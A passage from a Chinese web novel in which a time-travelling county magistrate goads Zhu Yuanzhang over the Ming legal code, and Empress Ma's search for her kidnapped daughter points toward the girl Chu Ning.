褚宁自然也意识到了这一点,她连忙站出来说道:“干姐,当初我们可是说好了的,我们义结金兰,你怎么还把我当你们的女儿看!” 见褚宁神色有些不悦,马皇后连忙解释道:“妹子,你朱大哥他没有这个意思,他嘴笨心善,只是想为之前你们两之间的不愉快赔礼道歉。” “至于为什么哭,那是因为你朱大哥的女儿从小最喜欢的就是拽他的胡子,刚才你拽胡子的时候,让他睹物思人想起了女儿。” 马皇后的这番解释,虽然还有些疑点,但是褚宁毕竟单纯,便没有多想。 反倒是一旁的徐彦祖摸索着下巴,回想起了当时遇到褚宁时的景象。 “我记得当时救下这小丫头的时候,我问她姓什么,她给了我一个模糊不全的音,又像褚又像朱,或许说不定褚宁和朱大哥他们还真会有些关系。” 徐彦祖暗暗想到,不过这件事情如今还不能盖棺论定,当年的真相如何,还得去问那些人伢子才行。 “对!人伢子!” 徐彦祖眼睛骤然一亮,他不由多看了朱元璋两眼,怪不得今日一大早朱元璋就要自己带着他来盐山,本来因为朱元璋这是为了视察或者生意而来。 如今看来,朱元璋这分明是醉翁之意不在酒,而在人伢子身上啊! 不过徐彦祖也没有点破,只是顺势说道:“既然如此,那盐山正好关押这些年来抓到的人伢子,到时候我将他们寻来,让朱大哥你们好好问问。” 朱元璋马皇后神色一喜,连忙谢道:“多谢徐知县!” “叫我徐小兄弟就好,我们都是一家人,谁跟谁啊!” 徐彦祖摆了摆手,他迟早都是要死的,能够替褚宁找到亲生父母也算是多做一件好事。 经历过这个小插曲后,徐彦祖能够感觉到褚宁对朱元璋明显少了些敌意。 他回头看去,发现朱元璋和马皇后落在两人身后不知道在商量着些什么,但是目光一直都没从褚宁身上离开过。 这让徐彦祖越发肯定三人之间的关系。 一路无话,来到盐山后,徐彦祖立马就让人把当年的人伢子找来。 一听说知县大人找自己,那人伢子一路小跑来到了四人面前。 “知县大人,您找我?” 人伢子脸色带着谄媚的笑容,他们这些在盐山劳改的人,最希望的就是能够脱罪重新做人,因此徐彦祖毫无疑问就是他们的希望。 徐彦祖点点头,对其淡淡问道:“当初你将褚宁等一众小孩拐卖,可还记得?” 人伢子却是眉头一皱,努力回想片刻后还是摇摇头回道:“回知县大人,且不说这些事情都已经是好几年前的了,时间太过于久远我早就忘了,就说您口中那个褚宁,我当初拐卖了那么多孩子,哪里知道谁是谁啊?” 闻言,徐彦祖还未说话,一旁的朱元璋却急了。 他指着人伢子的鼻子命令道:“咱命你现在就把以前的事情全都说出来,要是漏了什么信息,咱就按大明律法治你的罪!” 谁料,面对朱元璋的威胁,那人伢子却是不屑的扫了他一眼,趾高气扬问道:“你谁啊?没见知县大人都没发话吗?” 说完,还指着朱元璋对徐彦祖问道:“知县大人,这个糙脸汉子是哪块地里的葱?” 徐彦祖笑笑,玩味说道:“你说朱大哥啊,他是朝廷派来的钦差,顺便说一嘴,当初你拐卖的那些孩子中,很有可能也有他的孩子。” 此言一出,人伢子脸色立刻变的无比苍白。 等他再一次看向朱元璋的时候,整个人已经哆哆嗦嗦,双腿打颤。 甚至接触到朱元璋那道凌厉的目光后,人伢子直接就跪在了他的面前,连说话声都带着颤音。 “小……小的,小的不知钦差到来,还望钦差恕罪啊!” 朱元璋冷哼一声,直接说道:“按照大明律,像你这样的人伢子,须杖一百,流放三千里。就你这身子骨,如果不想死在半路上的话,就把当年拐卖孩子的事情经过原原本本的说出来,咱可以对你网开一面!” 然而朱元璋话都说到这个份上了,那人伢子还是无奈摇头,不是他不想说,实在是真的想不起来。 更何况,他突然觉得比起流放三千里杖一百来说,在徐彦祖这盐山中劳作也还算得上一个不错的选择,起码一日三餐都有保证,还不会死在流放的路上。 蝼蚁尚且偷生,更何况他呢! 因此,人伢子忽视朱元璋的话,径直对徐彦祖说道:“知县大人,我是真的什么都想不起来了,让我回去做工吧。” 闻听此言,朱元璋顿时勃然大怒,他上前狠狠踢了人伢子一脚,然后即刻下令道:“来人,给我把这人伢子拉出去杖一百,然后流放三千里!” 谁料,听到朱元璋这话第一个出声的不是人伢子,反而是徐彦祖。 第三十三章 律法之争 “流放,又是流放,你们这些大明朝的官员,除了流放之外就什么都不会了。” 徐彦祖咂咂嘴巴,又是摇头又是叹气。 朱元璋眉头顿时一皱,面对徐彦祖的嘲讽,他沉声问道:“徐小兄弟,流放有什么问题?这样的刑罚还不够重吗?” “钦差大人,工作的时候称职务,平日里我们的私交归私交,但是现在是在谈论国事,请叫我徐职务,不是,叫我徐知县!” 徐彦祖轻咳一声,严肃说道。 “看来徐知县是对这第大明律法不认同了?” 朱元璋也听出来了,徐彦祖这是在故意找茬,语气有些不善。 “这是当然,距今为止,我觉得一个官员倘若就只知道流放,那这个朝廷也就没什么救了。” 徐彦祖点点头,他不仅仅要跟朱元璋好好谈一谈这个国法,同样也是为了借此激怒朱元璋,让其给他定罪,最起码也要定一个藐视律法的罪名! “放肆!我倒要听听,你对大明律有什么高见!” 朱元璋顿时气不打一处来。 他的治国风格乃是事皆亲决,只要是有关国家的大事他都会直接参与进去,并且在其中占据主导的位置。 包括修订大明律法也是如此。 更何况,他本身就是刑用重典的代表,对待律法无比的慎重,他不信徐彦祖还能在这大明律法中挑出问题来。 见朱元璋发怒,徐彦祖嘴角微微上扬,这才是他熟悉的朱元璋啊,只要发怒,那离给自己定罪也不远了。 想到这里,徐彦祖直接贬低道:“就流放这一条律法,根本就是屁用没有!” “你看这松阳县的盐山,矿山,甚至于是修路等各种粗重的活计,本县全都交给了这些重刑犯来做,与其让他们流放死在外面,不如将他们这些劳动力充分利用起来,还能为整个松阳县做出贡献。” 朱元璋闻言,只冷冷地说道:“你这样做,对这些罪大恶极的人根本就算不上惩罚!” “惩罚?” 徐彦祖摇摇头,指着一旁的人伢子解释道:“你且问问他,他在这盐山过的都是什么样的日子。在这里,每日天不亮就要起来,吃过餐食后就要开始干活,一直到中午第二顿餐食才停止,下午也是如此,一直干到天黑才能回房,而且他们的一日三餐包括那些吃穿用度,都是最差的!” “甚至于,本县判处的这些重刑犯,根本就没有出狱那天,要终身在此劳动到死。” 在徐彦祖看来,他这样做,已经将这些重刑犯的人权彻底剥夺,比起流放而言,这才是利国利民的法律! “什么算是重刑犯?” 朱元璋眯着眼睛问道。 “自然都是该杀之人。” 徐彦祖淡淡回道。 此言一出,朱元璋眯着的眼睛瞬间睁开,目光似剑一般锐利。 “也就是说,这些该杀之人你不杀,反而留他们一条性命,你可知你此举乃是在藐视大明律法?你可有把大明律法放在眼里!” 朱元璋声音如洪,该杀之人不杀,在他看来这就已经是犯了大忌! “大明律法?” 徐彦祖嘴角带着讥讽,他不屑道:“就如今的大明律法而言,在我看来也不过是一个笑话。” “就拿当街骂人来说,按照大明律,只要你敢当街骂人就必须得杖十下,而挨骂那人还不得还嘴,否则同样也要杖十下,我还是第一次听说这样的律法,这样的律法岂不是儿戏?” 朱元璋面色一变,他厉声道:“我看你根本就不懂大明律法,这一条如此公平,怎么会是儿戏!” “噗嗤!” 朱元璋这话让徐彦祖笑出了声。 “朱钦差,骂人只是人宣泄情绪的一种方式,正所谓堵不如疏,倘若因为这个律法让人心中的负面情绪都得不到抒发,那我大明朝迟早都会乱套的!” “你仔细想想,只要是人就会产生摩擦,夫妻之间尚且如此,何况他人,如果连骂人都不行,那心中的怨恨只会一直堆积,等到最后爆发出来的时候可就悔之晚矣了。” 徐彦祖这语重心长的话也是让朱元璋陷入了深思。 他突然发现自己在制定大明律法的时候,把一些事情想的太过于简单片面了。 不过即便如此,他也不会承认大明律法是儿戏,或许这其中有些不对的条例,但他依靠大明律法治理天下这么久,并没有出现什么问题。 总不能因为一些细微的条例就彻底否认大明律法。 然而,当徐彦祖见朱元璋在原地深思之时,他明白朱元璋心中的怒意正在消散。 这可怎么行,他就是奔着点燃朱元璋的怒火而来,要是朱元璋消气了,还怎么给他定罪! 想到这里,徐彦祖连忙添了一把火说道:“依我看,现如今的大明律法不过就是一团废纸,根本就治理不好大明朝,看朱钦差你对大明律法的了解,应该也参与了其中的修订,果然,没脑子的人修订的律法只会引人发笑。” 徐彦祖这番话可谓是将嘲讽彻底拉满。 朱元璋一听这话,原本已经消散大半的怒火又瞬间被其点燃,他双目冒火,指着徐彦祖的鼻子怒道:“你说谁修订的律法引人发笑!你说什么东西是一团废纸!” 徐彦祖心头一喜,看朱元璋这个样子,已经到了爆发的边缘,只怕下一秒就会被自己定罪。 于是,徐彦祖直接来了个大的。 “如果这大明律法不是一团废纸的话,我这松阳县又怎么只会认县法而不认大明律法?还不是因为大明律法不行!” 说着,徐彦祖还上前拍了拍朱元璋的肩膀。 “老朱啊,这男人啊,最怕的就是别人说不行,大明律法不行,不就说明你们这些修订律法的人也同样不行吗?” 这话让朱元璋脑子轰的炸开,他看向徐彦祖咬牙切齿说道: “好啊!好你个徐彦祖!” “咱倒要看看你这个松阳知县有多行,既然你觉得你修订的县法比这大明律法还要好,那我就把大明律交由你来修订!” “并且,时间只给你一个月,倘若一个月内你修订不好大明律法或者拿不出改善律法的章程,咱就砍你的头!” 第三十四章 气急攻心 “砍头?我求之不得!” 徐彦祖撇了撇嘴,神色十分不屑,心中已经打定主意,绝对不会修改大明律法,就算要修改,也不会交给眼前的钦差,更不会拿出来,除非自己先被砍头。 徐彦祖这副无所谓的态度瞬间就激怒了朱元璋,不过他已经放下了狠话,只冷哼一声就偏过头去。 而以往都会出去劝阻的马皇后今日却没了动静,只因她的心思全都放在了寻找女儿一事上。 见人伢子想不起来任何事,马皇后心头一紧,她不死心的问道:“当年的事情,你当真一点都不记得了吗?” 人伢子有些不耐烦道:“我都说了时间久远,早就记不起这些事情了。” 然而他这话才刚说出口,一旁的褚宁就不乐意了,她可是当真将马皇后当姐姐看待的。 如今人伢子如此无礼,她上前就是一个干净利落的飞踢,将人伢子踢飞出三米远。 “睁大你的狗眼瞧好了,这可是我干姐,你敢对她无礼?她问什么你就回答什么,不然我揍的你三天下不了床!” 褚宁挥舞着拳头恐吓道。 正所谓县官不如现管,比起朱元璋这个钦差身份而言,褚宁对于他们的威慑反而要更大。 每一次褚宁来盐山的时候,一不开心都会拿他们这些重刑犯练手,久而久之也给他们留下了深刻的心理阴影。 有了褚宁这一番恐吓之后,那人伢子的态度明显好了不少。 他点头哈腰的跑到马皇后面前说道:“夫人,您要不给我些提示,兴许我能想起来点啥。” 见状,马皇后感激的看了一眼褚宁,随即问道:“你可还记得当初你在应天府拐骗了多少个小孩?这里面有没有女孩?” 人伢子皱着眉头思索后还是摇了摇头。 马皇后没有轻易放弃,她继续说道:“你再好好想想,那个小女孩穿着一身素白色的绸缎,扎着丸子头,小脸胖乎乎的,她身上应该有些值钱的物件,你们人伢子拐骗到孩子不是都要搜身吗?这些物件肯定换了不少钱。” 人伢子听到这些话,脑海中突然回想起了不少的画面。 他沉吟片刻后,眼睛微微一亮。 “好像有些印象,我的确在应天府内拐骗过一批小孩,其中就有一个穿着华贵的女孩,她的手腕上还有一枚金环,身上还有一块雕龙画凤的玉佩!” 闻言,马皇后顿时大喜。 那块雕龙画凤的玉佩,就是女儿的凭证。 毕竟普天之下,能够有多少敢在玉佩上雕刻龙凤,又有多少家庭敢将这样的玉佩给孩子使用。 “对!那就是我的女儿啊!她现在在哪?” 马皇后泣不成声,连忙问道。 人伢子脸色浮现出一抹歉意的神色,这让马皇后心中隐隐升起一股不安。 “当年一出应天府,我就遇到了大批军士的追赶抓。情急之下我只能带着那些拐骗的孩子四处逃窜,但是在一路逃亡的过程中,那些孩子卖的卖,逃的逃。甚至路上还死了几个孩子,等到我被县令大人抓到的时候,手上已经没几个孩子了。” “所以我也不敢保证,你们的孩子如今在哪。” “什么?” 马皇后脸色骤然一变,她最担心的事情还是发生了。 倘若按照人伢子这么说,那她的女儿除了在这松阳县,也有可能死在半路或者被人伢子给卖出去了。 倘若是被卖出去那也就算了,起码还能活下去。 可若是在逃亡中途就死了,那她…… 马皇后想到这里,一口逆血涌到喉咙。 “我可怜的女儿啊!” 留下一声悲痛的哀嚎,马皇后就这么直挺挺的昏死过去。 好在一旁的朱元璋眼疾手快,接住了马皇后,可是看着马皇后嘴角溢出的心血,朱元璋也慌了神。 “妹子!妹子!你醒醒妹子!” 朱元璋神色慌张,拼命摇晃着马皇后。 “朱大哥,快带郑大姐去县里的松阳人民医院!” 徐彦祖连忙出声。 朱元璋点点头,他也顾不得医院是什么地方了,背起马皇后就朝着县城跑。 徐彦祖见状,怕朱元璋不熟悉路况,叫上两个人一同前往。 “你们两个跟上去带路,有任何情况立刻回来禀报。” “徐彦祖,我也跟去看看!” 褚宁虽然对朱元璋不喜,但对马皇后确实真心实意,此刻她心中也无比担忧。 “慢着,郑大姐只是急火攻心,气血上涌,不会有大碍,你得跟我去证实另外一件事。” 徐彦祖摇摇头,拦住了褚宁。 凡事都要讲究一个有始有终,如今人伢子吐露出来的这些信息,也让徐彦祖意识到有些事情已经可以开始做了。 褚宁纵使心急如焚,可徐彦祖那不容置疑的样子,让她只能放弃跟上去的打算。 揣着一肚子的疑惑,褚宁跟随徐彦祖来到了盐山下面的一处民房。 这民房的门匾上刻着三个遒劲有力的大字,资料室。 “徐彦祖,你带我来这里干什么?” 褚宁更加疑惑,资料室县城中也有,里面无非就是存放一些需要保存的资料,对于褚宁这种喜动不喜静的女孩来说,资料室可谓是这个世界上最无趣的地方。 “来资料室,自然是为了查清楚当年的真相,难道你不想知道郑大姐她们走丢的孩子在哪?这走丢的孩子又是谁?” 徐彦祖淡淡说道,随即推开门走了进去。 褚宁自然想知道,可她心中除了好奇,同样还有些期待,甚至还有些恐惧。 带着这五味杂陈的心情,褚宁也跟着徐彦祖走了进去。 “这里摆放着的,全都是在盐山劳改的重刑犯的口供,其中人伢子的口供占了大部分,而这些口供之中,大多数都是有关那些被拐卖妇女儿童的身份信息。” 徐彦祖拿起一份口供递给褚宁介绍道。 徐彦祖有个未雨绸缪的习惯,在抓到人伢子的时候,就立刻开始审问,第一时间获取到了所有妇女儿童的身份信息。 褚宁拿起口供一看,上面记载着好几个妇女儿童的来历,其中不乏她熟悉的人,和从小跟她一起长大的玩伴。 第三十五章 褚宁身世 “可是徐彦祖,既然当初你就知道这些身份信息,为何不第一时间将他们给送回呢?” 褚宁十分疑惑,要是徐彦祖第一时间就将这些被拐卖的妇女儿童送回,哪里还会有今日的事情,那些家庭也不用苦苦思念追寻这么多年。 而她褚宁,说不定此刻也已经和家人团聚了。 此言一出,徐彦祖立刻白了褚宁一眼,他朝褚宁伸出手,作出讨要的动作说道: “钱呢?送这些人回去要花费大量的时间不说,人力物力更是一个天文数字,你给我钱啊!” 徐彦祖又何尝想让这些妇女儿童和家人分别,可是当年他刚刚接手的松阳县,可以说是一穷二白,根本就没有条件去做这件事。 而且这些信息虽然有,却并不详实,甚至很多都只是一个极为模糊的地址,比如什么陈家村,什么赵家庙。 这样的地名,光是松阳县就有不少,更别说放眼整个浙江承宣布政使司了。 “更何况那个时候大明百废待兴,百姓的生活也动荡不安。你以为那么多的妇女儿童都是人伢子拐骗来的吗?” 徐彦祖有些无奈。 这话让褚宁心头一震,如何那些人不是人伢子拐骗来的,那就是身边亲近之人把他们卖给了人伢子。 如果是这样的话,倘若当时徐彦祖将他们这些人全都送回去,等待他们的不一定是幸福美满,也有可能是第二次的伤害! 褚宁沉默了,毕竟不是所有人都像她记忆中的父母那般爱她。 “也正是因为这多方面的原因,我最终才打算将这个念头打消,将这件事情给搁置下来。” 说到这,徐彦祖幽幽一叹。 “后来松阳县在我的治理下蓬勃发展,高歌猛进。那些女人孩子也早在松阳落户,这件事就一直被遗忘在这小小的档案室之中,不过如今已经时机成熟了!” 徐彦祖话锋一转,目光灼灼的看着褚宁。 现如今的松阳县要人有人,要钱有钱,已经有足够的能力支持这些妇女儿童回乡寻亲了。 “那你今天叫我来的目的就是为了查阅我的身世?” 褚宁眼底的神色有些复杂,越是接近真相,她的心中就越是忐忑。 徐彦祖点点头,他上前拍了拍褚宁的肩膀,递给她一份属于自己身世的资料鼓励道:“兴许你就是郑大姐她们的女儿呢?” “你之前不是还说,你小时候身边那些男人都是尖嗓子说话的吗?没准还真是太监!” 褚宁下意识开口道: “也有可能是0啊!” 只是话一出口,褚宁自己就沉默了。 她不知道自己为什么开始有些抗拒了,也不知是害怕失望,还是害怕事实。 回想着今天朱元璋的反常,还有以往和马皇后相处的细节,不是没有这个可能。 更何况,两人明显有了这个倾向,将自己当作他们的女儿来看待。 “我真的会是郑大姐的女儿吗?” 褚宁心绪复杂,结果资料细细翻阅起来。 这份资料,是人伢子的口供。 上面详细记录了褚宁的身世来历。 褚宁将这一份口供看完后,脸色有些复杂。 “徐彦祖,我好像真的有可能是郑大姐的女儿。” “是吗?拿给我看看。” 徐彦祖接过口供,将从马皇后那得到的消息线索一一比对。 首先就是褚宁左肩上的黑痣,这一点和马皇后丢失的女儿一样,其次褚宁也是人伢子从应天府拐骗出来的,并且身上还有金饰品。 最重要的一点,就是人伢子说褚宁身上有一块价值连城的玉佩,而人伢子就是在卖玉佩的时候被店家察觉到了不对,后面报官才逼的他东躲西藏。 “这上面最关键的几处线索都能对的上,看起来你是郑大姐女儿的可能性非常大!” 徐彦祖重重点头,如果真是这样的话,那马皇后他们这段时间可真是瞎忙活了,明明自己的亲生女儿就在身边! 另外一边,朱元璋急匆匆的背着马皇后来到松阳人民医院。 才一进门,他就闻到了一股十分刺鼻的味道。 不过一想到背上昏迷不醒的马皇后,他就连忙大声喊道:“有没有郎中!快救救我家夫人!” 下一刻,就有两个身穿白服,脸上戴着面罩的人走了过来。 看着两人这身打扮,朱元璋十分警惕,眼神不善的盯着两人问道:“你们是什么人?” 好在一旁有徐彦祖安排的人,连忙对朱元璋解释道:“钦差大人,这两位都是我们松阳人民医院的医生,也就是外面常说的郎中,她们没有恶意,还是先让她们给夫人治病吧。” 闻言,朱元璋对两人歉意一笑,连忙将马皇后放下来。 随后,朱元璋就看到两人用小推车将马皇后推入一个房间中,他本想跟着过去,却被人给拦在了门外。 “家属还请在外面等候。” 朱元璋无奈,只能坐在一旁的凳子上扶额叹息。 好在马皇后相安无事,因为徐彦祖的原因,医院还给马皇后单独安排了一间病房。 病房内,虽然医生说马皇后没什么大碍,可是马皇后依旧还没有醒来。 朱元璋泪水浑浊,他握着马皇后的手轻轻在自己的面庞上摩挲。 “妹子啊,你可千万不能有事啊,咱们的女儿也一定会相安无事的,指不定明天就能找到女儿了,你可不能在这个关键的时候倒下啊!” 朱元璋声泪俱下,似乎是听到了朱元璋的声音,马皇后眼睫毛微微颤抖,手指也微微挑动,这让朱元璋那双浑浊的眼睛立刻就亮了起来。 “妹子!妹子!你是不是醒了,妹子!” 朱元璋无比激动,他的声音急促,回响在整个病房中。 而下一秒,他紧紧盯着马皇后的面容,连呼吸都变得小心翼翼。 终于,马皇后缓缓睁开了眼睛。 一睁眼,马皇后就看到朱元璋愣愣的望着自己,她虚弱的抬起另一只手臂,轻抚着朱元璋的面庞说道:“重八,我累了。” 朱元璋点点头,喜极而泣道:“妹子你累了就好好休息,等你好了咱们再去找女儿。” 可马皇后听到这话只是摇摇头,她望向窗外,眼底是无穷无尽的疲惫。 “重八,我不想躺在这里休息,我想回京。” 朱元璋听到这话,立刻就明白了马皇后的想法。 现如今女儿的下落扑朔迷离,究竟在不在松阳县还是个未知数,马皇后不敢继续往下找了。 如果不找,那起码可以告诉自己女儿还流落在世间。 可要是找下去,万一最后得到的结果是女儿早已经死在了逃亡的路上,那无论是他还是马皇后,都无法接受这个结果。 所以,马皇后才会动了想要回京的念头。 第三十六章 明月彩霞 “妹子,既然你累了,想家了,那我们就回去。” 经过这些天的折腾,马皇后的面容一天比一天憔悴,得到的消息更是一个比一个差,朱元璋虽然嘴上不说,可都看在心里。 再加上,两人离京也有一段时间了,倘若不是收到了确信的消息,也不会在百忙之中抽空来这松阳县。 如今朝廷上下群龙无首,太子朱标又体弱多病,他不仅放心不下朝堂,更放心不下朱标的身体。 何况他在徐彦祖这里收获不小,也受到了一些启发,这一次回京正好可以大展身手。 “毛镶,速去备马,今日我们就启程回京。” 既然已经决定,那朱元璋自然是雷厉风行,当即让毛镶去准备回京的事宜。 而此时另外一边,褚宁整个人还处于震惊之中,种种线索最后都指向她就是马皇后的女儿。 可是一想到朱元璋,她就猛的摇摇头,喃喃自语道:“也有可能只是巧合,而且价值连城的玉佩不一定就代表是雕龙画凤的玉佩,应天府大户人家那么多,万一我是其他大户人家丢的孩子呢?” 徐彦祖看着褚宁这副摇头晃脑的模样,知道褚宁一时间还无法接受这个事实,再加上褚宁说的也有可能。 别说褚宁,就是徐彦祖一时间也有些难以将褚宁和朱元璋马皇后联系起来。 他对褚宁说道:“先回县衙看看吧,今日你明月彩霞姐也要回来了,回去正好问问她们两个的看法。” “明月彩霞姐她们两个回来了?那肯定又给我带好吃的了,我们现在就回县衙。” 褚宁纷乱的情绪瞬间被一扫而空,明月彩霞两个可是从小陪她一起长大的姐妹,对她而言就如同亲姐姐一般。 “你啊,一想到吃的里面就走不动道了,也不知道当初救这两个小丫头回来是便宜了谁?” 徐彦祖无奈摇头,明月彩霞和褚宁一样,都是他从人伢子手中救下来的孩子。 明月彩霞虽然只比褚宁年长个一二岁,但和褚宁却完全相反。 两人不仅没有给徐彦祖添麻烦,甚至在徐彦祖的培养下还成为了徐彦祖的左膀右臂。 听到徐彦祖这话褚宁当即就不乐意了,她对着徐彦祖鄙夷道:“如果我没记错的话,你以前是不是说过侍女要从小培养,你救她们明明就是为了满足自己……” “孽畜,给我住口!” 见褚宁越说越不着调,徐彦祖脸色一变连忙呵斥道。 同时长舒一口气,还好附近没有别人,不然他这英明神武的形象就又要被褚宁毁了。 “哼哼!难道我说的不是吗?” 褚宁朝徐彦祖做了个鬼脸,轻吐舌头。 “你这是诽谤,恶意中伤!” 徐彦祖板着脸,抓着褚宁一路回到了县衙。 还未进门,就听到县衙内传来一阵银铃般悦耳的笑声。 听到这笑声,褚宁连忙朝里面大声喊道:“明月姐,彩霞姐,救命啊!有人要谋杀小孩!要摧残我这个松阳县未来的花朵啊!” 徐彦祖满脸黑线。 “我什么时候说过要摧残你了,而且你也算松阳县的花朵吗?牛粪还差不多!” 话音刚落,县衙内就走出两道高挑靓丽的身影。 正是明月和彩霞。 “大人,您就别和褚妹妹一般见识了,她的性子你又不是不知道。” 其中一个身材婀娜,曲线曼妙的女子捂嘴轻笑道,随即双手抬起舒展了一下腰肢,将那惹火的身材暴露无遗。 徐彦祖偷瞄了两眼那高耸的峰峦,咽了咽口水道:“彩霞啊,你这动作也太犯规了,还有你不要老是宠着褚宁,都把她给宠坏了。” 此言一出,一旁的明月笑道:“大人,你可比我们更宠褚妹妹呢,把我们两个派出去打理产业,让褚妹妹留在县城里享福,你不知道外面的床我和彩霞根本就睡不习惯呢!” 明月娇嗔道。 虽然明月的身材没有彩霞那么极具吸引人,但也清丽脱俗,甚至有种淡淡出尘的感觉。 倘若让徐彦祖来选,他反而更喜欢明月这样宁静美好的小女子,不过如今他是县令,是两女的恩人。 所以,小孩子才做选择,他是大人,他全都要! 徐彦祖张开怀抱,冲两女挤眉弄眼道:“看来你们是想我了,要不要拥抱一下?” 闻言,两女对视一眼,明月面色有些红润,彩霞则是捂嘴偷笑两声,从袖子里拿出一本账册。 “大人,还是先说正事吧,这是附近州县这个月的账册,还请大人过目。” 徐彦祖摆摆手,没有去接账册,而是将褚宁拉到身前,指着她说道:“现如今,有比看账册更加要紧的正事!” 随后,徐彦祖带着众人回到了县衙,然后将这些日子以来发生的事情全都给明月彩霞讲述了一遍。 并且,徐彦祖还让人叫来了王海。 听完徐彦祖的讲述之后,其余三人的目光都落在褚宁的身上。 “也就是说,你现在很有可能是京城皇商兼钦差大臣的女儿,甚至还有可能和当今皇帝沾亲带故!” 彩霞张大了嘴巴。 她没有想到,自己这就和明月出去了一趟,回来褚宁就摇身一变,变成了让人高攀不起的存在! “彩霞姐,你就别打趣我了,我到底是不是郑大姐走丢的女儿都还不确定呢!” 褚宁满脸愁容。 “这怎么能不是呢?你说说哪一条你对不上,左肩上的痣,同样是应天府出身,身上还带着一块玉佩,相似度高达百分之九十九点九九啊!” 彩霞双眼冒光,拉着褚宁的手幻想道:“我的好妹妹,等你飞黄腾达,认祖归宗之后,可一定不要忘记我们姐妹啊,苟富贵勿相忘可不能只是空喊口号,要落到实际上!” 褚宁有些哭笑不得,这八字都还没有一撇的事情,彩霞就开始幻想以后了。 不过她还是重重点头说道:“彩霞姐你放心好了,如果真有那么一天的话,我一定不会忘记你的!” 随后褚宁又看向明月,保证道:“还有你明月姐,到了那个时候我也不会忘记你的!” 第三十七章 褚宁的决定 明月闻言,轻轻摇头。 她可不似彩霞那般性格张扬,在文静的面容下她更深藏一颗细腻的心。 明月看向褚宁,轻声问道:“褚妹妹,那郑大姐多半就是你的生母,你打算和她们相认吗?” 众人也将目光落在褚宁身上,等着她的回答。 褚宁双手杵着脸,嘟着嘴无奈说道:“哪有孩子不想和父母团圆呢,何况郑大姐知书达理,为人和善,一看就是贤惠的母亲。可是一想到我爹有可能是那个朱大善,我就总会有种排斥感。” 提到朱大善,褚宁整个人的脸上就多了些不悦之色。 她对明月吐槽道:“明月姐,你是不知道朱大善那个老登做的事情有多可恶,他一来松阳县,就一直在找徐彦祖的麻烦,而且还色胆包天,对会所里的姐姐们动手动脚!” 褚宁越说越气愤。 “要是真让我认他做爹,那还不得父慈女孝,天天打架啊!” “就他那把老骨头,顶得住我几拳?” 此言一出,明月立马就明白了,褚宁这是对朱大善没什么好感,甚至还因为其所做的事情在心中积攒了不少的怨气。 一旁的王海也顺势说道:“褚姑娘说的没错,这朱大善的确不是个东西,他仗着自己钦差的身份,一直针对知县大人,甚至嘴上一直挂着要砍知县大人头颅之类的话。” 徐彦祖闻言,替朱元璋解释道:“那不过都是些戏言,你怎么不说他不耻下问,礼贤下士呢?” 一旁的褚宁也顺势对王海说道:“对啊,他虽然不是个东西,但好歹也有可能是我爹,你这当着我的面骂我爹,不合适吧?” “好好好好好,你们这么玩是吧?” 王海看着徐彦祖和褚宁这一唱一和的样子,瞬间就傻眼了,尤其是对褚宁态度的转变更是无语。 说朱元璋不好的是褚宁,不让说朱元璋不好的也是褚宁,合着怎么说都不对。 不过王海也看出来了,褚宁虽然不喜朱元璋,不过心中还是想认亲的。 褚宁则是看向徐彦祖问道:“徐彦祖,你觉得我应该认亲吗?” 徐彦祖眼珠子轻转,深思熟虑之后给褚宁分析道:“虽然朱大善不做什么人事,但那是因为他是朝廷的钦差,上要对得起朝廷,下要对得起百姓,视察自然要严格一些。” “不过作为一个父亲,他无疑是合格的,甚至可以说非常在乎你褚宁。” 这话让褚宁眉头微微一皱,这段时间以来,她只看到马皇后在为了女儿东奔西走,可没见朱元璋出过什么力。 “徐彦祖你不会是收了朱大善的钱吧?怎么他要砍你的头,你还替他说话?” “你就是这样看本彦祖的?” 徐彦祖面色微微一变,猛的拍了下桌子。 “整个松阳县哪个不知道本彦祖清廉正直,勤俭奉公,从来不拿群众一针一线,你怎么凭空污蔑我清白!” 当听到徐彦祖说自己清廉,褚宁不屑的撇了撇嘴道:“就你那些事情,在座的各位哪个不清楚?我都懒得说。不过我倒是想听听看,朱大善怎么个在乎女儿法。” 徐彦祖看了褚宁一眼,就褚宁这个嘴,说出来的话就和朱大善说的话一般气人,他之所以要替朱大善说好话,是怕自己被朱大善问罪之后,褚宁和朱大善之间会有隔阂,还不如现在先撮合两人认亲。 而且,他的确认为朱大善对褚宁十分在乎。 “褚宁啊,你有没有想过,这松阳县距离应天府的路途可十分遥远。而且以往这么多年都不见官员到来,这一次一来就是一个位高权重的钦差,我松阳县又没有什么特殊的地方,别说钦差,就是知府知州也极少到来。” “如果不是为了寻亲,他会不远万里路途迢迢过来松阳县吗?” 大明官员品级九品十八级,徐彦祖不过区区一个七品知县,就算做出再怎么惊天动地的事情,也不可能惊动一个钦差大臣下来视察。 徐彦祖的话让众人纷纷点头,褚宁更是陷入了思考。 “而且,他知道你可能是他女儿之后,对你是百般宠溺,生怕你有一点闪失,去盐山的路上,你还没感受到吗?” 的确如同徐彦祖这般所言,能够让朱元璋大动干戈来到松阳县,绝不可能是为了做生意,明显就是为了找女儿。 想到这,褚宁对朱元璋也没有那么讨厌了。 “既然如此,那徐彦祖你觉得我应该和郑大姐朱大善认亲吗?” 褚宁一时间也拿不定主意,求助的看向徐彦祖。 徐彦祖没想到兜兜转转最后决定权还到了自己的手上,这是褚宁自己的家事,他只能给出建议,如何能替褚宁下决定。 “褚宁,任何人都无权替你做出决定,这是你自己的事情。” 褚宁点点头,她低下头沉思。 气氛瞬间凝滞,众人也闭口不言。 良久过后,褚宁深深叹了口气,看向众人说道:“我决定了,这件事还是先等等再说,我一时间还是有些无法接受。更何况现如今大多数证据线索都十分模糊,并不一定能够证明我就是郑大姐的女儿,万一我不是,那郑大姐真正的女儿岂不是要继续受苦?” “甚至可能会因为我的原因受苦一辈子,还是等一等再说吧。” 众人点点头,不管褚宁做出什么样的决定,他们都只会支持他。 何况,现如今褚宁在这松阳县生活,也不比回到应天府生活要差。 也就在褚宁做出决定之后,立刻就有衙役传来消息。 “启禀知县大人,钦差大人让我告诉您,他准备带人离开松阳县城了。” “什么?朱大善这就要走了?” 徐彦祖感到无比的诧异,怎么会如此突然。 “不会是郑大姐出了什么问题吧,褚宁你随我一同去看看,明月彩霞还有王海,你们三个对一下账册。” 说完,徐彦祖就带着褚宁匆匆离去。 等到徐彦祖褚宁赶到酒店的时候,毛镶已经提前准备好了马车,并且将众人的行李一并装好,眼看着就要出发。 徐彦祖连忙跨过车队来到最前面,就看到朱元璋扶着马皇后正在路旁散步。 他连忙上前问道:“朱大哥,郑大姐,你们这就要离开了?” 